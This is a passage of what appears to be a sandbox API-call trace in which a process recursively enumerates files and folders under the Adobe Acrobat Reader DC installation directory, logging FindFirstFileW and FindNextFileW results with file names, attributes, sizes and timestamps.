	[0162.643] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d500f0c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.aapp", cAlternateFileName="COMMEN~1.AAP")) returned 1
	[0162.643] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compare_R_RHP.aapp", cAlternateFileName="COMPAR~1.AAP")) returned 1
	[0162.643] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_Full.aapp", cAlternateFileName="CPDF_F~1.AAP")) returned 1
	[0162.644] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_RHP.aapp", cAlternateFileName="CPDF_R~1.AAP")) returned 1
	[0162.644] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Exp_RHP.aapp", cAlternateFileName="EDIT_R~3.AAP")) returned 1
	[0162.644] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Full.aapp", cAlternateFileName="EDIT_R~1.AAP")) returned 1
	[0162.644] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_RHP.aapp", cAlternateFileName="EDIT_R~2.AAP")) returned 1
	[0162.644] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_Full.aapp", cAlternateFileName="EPDF_F~1.AAP")) returned 1
	[0162.644] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363534a5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_RHP.aapp", cAlternateFileName="EPDF_R~1.AAP")) returned 1
	[0162.645] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d52724e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xa7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FillSign.aapp", cAlternateFileName="FILLSI~1.AAP")) returned 1
	[0162.645] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d551e46, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x163, dwReserved0=0x0, dwReserved1=0x0, cFileName="Home.aapp", cAlternateFileName="HOME~1.AAP")) returned 1
	[0162.645] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Measure.aapp", cAlternateFileName="MEASUR~1.AAP")) returned 1
	[0162.645] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MoreTools.aapp", cAlternateFileName="MORETO~1.AAP")) returned 1
	[0162.645] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OptimizePDF_R_RHP.aapp", cAlternateFileName="OPTIMI~1.AAP")) returned 1
	[0162.646] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pages_R_RHP.aapp", cAlternateFileName="PAGES_~1.AAP")) returned 1
	[0162.646] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect_R_RHP.aapp", cAlternateFileName="PROTEC~1.AAP")) returned 1
	[0162.646] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Redact_R_RHP.aapp", cAlternateFileName="REDACT~1.AAP")) returned 1
	[0162.646] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scan_R_RHP.aapp", cAlternateFileName="SCAN_R~1.AAP")) returned 1
	[0162.646] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamp.aapp", cAlternateFileName="STAMP~1.AAP")) returned 1
	[0162.646] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrackedSend.aapp", cAlternateFileName="TRACKE~1.AAP")) returned 1
	[0162.647] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 1
	[0162.647] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 0
	[0162.647] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0162.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0162.648] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0162.648] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0162.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0162.648] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1
	[0162.649] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCEF", cAlternateFileName="")) returned 1
	[0162.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0162.649] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned 61
	[0162.649] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0162.654] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.654] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef.pak", cAlternateFileName="")) returned 1
	[0162.654] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef_100_percent.pak", cAlternateFileName="CEF_10~1.PAK")) returned 1
	[0162.654] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef_200_percent.pak", cAlternateFileName="CEF_20~1.PAK")) returned 1
	[0162.654] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef_extensions.pak", cAlternateFileName="CEF_EX~1.PAK")) returned 1
	[0162.655] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f80ae4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x6b3f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~1.DLL")) returned 1
	[0162.655] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x6994, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYING.LGPLv2.1.txt", cAlternateFileName="COPYIN~1.TXT")) returned 1
	[0162.655] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="d3dcompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1
	[0162.655] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaefffe5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x392eb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~2.DLL")) returned 1
	[0162.655] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f5a940, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x9b49f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudt.dll", cAlternateFileName="")) returned 1
	[0162.656] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudtl.dat", cAlternateFileName="")) returned 1
	[0162.656] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe293087a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x458f9f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libcef.dll", cAlternateFileName="")) returned 1
	[0162.656] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libEGL.dll", cAlternateFileName="")) returned 1
	[0162.656] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda3accdd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2ca650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1
	[0162.656] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x69b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1
	[0162.656] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="locales", cAlternateFileName="")) returned 1
	[0162.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0162.656] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales") returned 69
	[0162.656] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0162.657] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
